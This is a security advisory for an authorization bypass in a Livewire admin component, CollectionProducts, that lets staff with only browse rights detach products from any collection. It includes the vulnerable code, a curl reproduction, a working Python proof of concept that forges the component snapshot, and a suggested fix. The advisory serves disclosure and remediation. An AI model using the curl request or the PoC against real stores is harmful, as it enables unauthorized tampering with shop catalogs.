CVE-2026-56825 — CVSS 8.1 HIGH

## Title Missing authorization on product removal actions in CollectionProducts component ## Description A lack of authorization control was discovered on both the per-record delete action and the bulk delete action inside `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php`. Neither the `Action::make('delete')` at line 73 nor the `DeleteBulkAction::make()` at line 91 carries an `->authorize(...)` chain. The component also exposes `public Collection $collection` without `#[Locked]`, so the collection ID is mutable in the Livewire wire payload. Any authenticated admin-panel session, including staff who hold only `browse_collections`, can detach individual products or bulk-detach all products from any collection in the database. ## Severity CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Score: 8.1 (High) ## Affected files - `packages/admin/src/Livewire/Components/Collection/CollectionProducts.php:40,73-88,91-105` ```php // Line 40 - client-mutable, no #[Locked] public Collection $collection; // Lines 73-88 - per-record delete action, no ->authorize(...) ->recordActions([ Action::make('delete') ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->iconButton() ->color('danger') ->requiresConfirmation() ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }), ]) // Lines 91-105 - bulk remove action, no ->authorize(...) ->groupedBulkActions([ DeleteBulkAction::make() ->label(__('shopper::forms.actions.delete')) ->icon(Untitledui::Trash03) ->requiresConfirmation() ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); $this->dispatch('collection.add.product'); Notification::make() ->title(__('shopper::pages/collections.remove_product')) ->success() ->send(); }) ->deselectRecordsAfterCompletion(), ]) ``` ## Steps to reproduce Prerequisites: any admin-panel account, including one whose role holds only `browse_collections` (no `edit_collections` required). ```bash SESSION="laravel_session=<your_session_value>" XSRF="X-XSRF-TOKEN: <url-decoded-value-of-XSRF-TOKEN-cookie>" # Step 1: Note the collection ID you wish to empty (e.g., collection_id=5). # Step 2: Call the bulk table action on the CollectionProducts component, # substituting collection ID 5 in the component state. curl -s -X POST http://localhost/shopper/livewire/update \ -H "Content-Type: application/json" \ -H "X-XSRF-TOKEN: $XSRF" \ -H "Cookie: $SESSION" \ -H "X-Livewire: 1" \ -d '{ "components": [{ "snapshot": "{\"id\":\"COLLECTION_PRODUCTS_COMPONENT_ID\",\"data\":{\"collection\":5},\"checksum\":\"...\"}", "updates": {}, "calls": [{ "path": "", "method": "callBulkAction", "params": ["delete", [1, 2, 3, 4, 5]] }] }] }' # Expected: HTTP 200, all listed product IDs detached from collection 5, # regardless of the caller having only browse_collections. ``` ## Proof of concept ```python #!/usr/bin/env python3 """ CollectionProducts authorization bypass PoC. Set these environment variables before running: BASE_URL e.g. http://localhost SESSION_COOKIE value of the laravel_session cookie XSRF_TOKEN URL-decoded value of the XSRF-TOKEN cookie COMPONENT_ID Livewire component snapshot ID (from page source) COLLECTION_ID integer ID of the target collection PRODUCT_IDS comma-separated product IDs to detach (e.g. "1,2,3") """ import json import os import requests base_url = os.environ['BASE_URL'] session = os.environ['SESSION_COOKIE'] xsrf = os.environ['XSRF_TOKEN'] component_id = os.environ['COMPONENT_ID'] collection_id = int(os.environ['COLLECTION_ID']) product_ids = [int(x) for x in os.environ['PRODUCT_IDS'].split(',')] headers = { 'Content-Type': 'application/json', 'Accept': 'text/html, application/xhtml+xml', 'X-XSRF-TOKEN': xsrf, 'Cookie': f'laravel_session={session}', 'X-Livewire': '1', } snapshot = json.dumps({ 'id': component_id, 'data': {'collection': collection_id}, 'checksum': 'UNLOCKED_PROP_NO_CHECKSUM_NEEDED', }) payload = { 'components': [{ 'snapshot': snapshot, 'updates': {}, 'calls': [{ 'path': '', 'method': 'callBulkAction', 'params': ['delete', product_ids], }] }] } r = requests.post(f'{base_url}/shopper/livewire/update', headers=headers, json=payload) print(f'Status: {r.status_code}') print(r.text[:500]) ``` ## Impact A staff member holding only `browse_collections` can silently empty any collection by detaching all of its products. Collections drive storefront catalog grouping; removing products from a collection breaks the associated landing pages and promotions for those product groups. Because `$collection` is not locked, the attacker is not limited to the collection they navigated to: they can target any collection ID in the database, including featured promotional collections they have never viewed. ## Suggested fix ```php // packages/admin/src/Livewire/Components/Collection/CollectionProducts.php use Livewire\Attributes\Locked; #[Locked] // prevent client-side ID substitution public Collection $collection; // Per-record action: Action::make('delete') ->authorize('edit_collections') // add this ->action(function (Product $record): void { $this->collection->products()->detach([$record->id]); // ... }), // Bulk action: DeleteBulkAction::make() ->authorize('edit_collections') // add this ->action(function (EloquentCollection $records): void { $this->collection->products()->detach($records->pluck('id')->toArray()); // ... }) ``` ## Credits Reported by Vishal Shukla ([@shukla304](https://github.com/shukla304) / [@therawdev](https://github.com/therawdev)).

Loading application…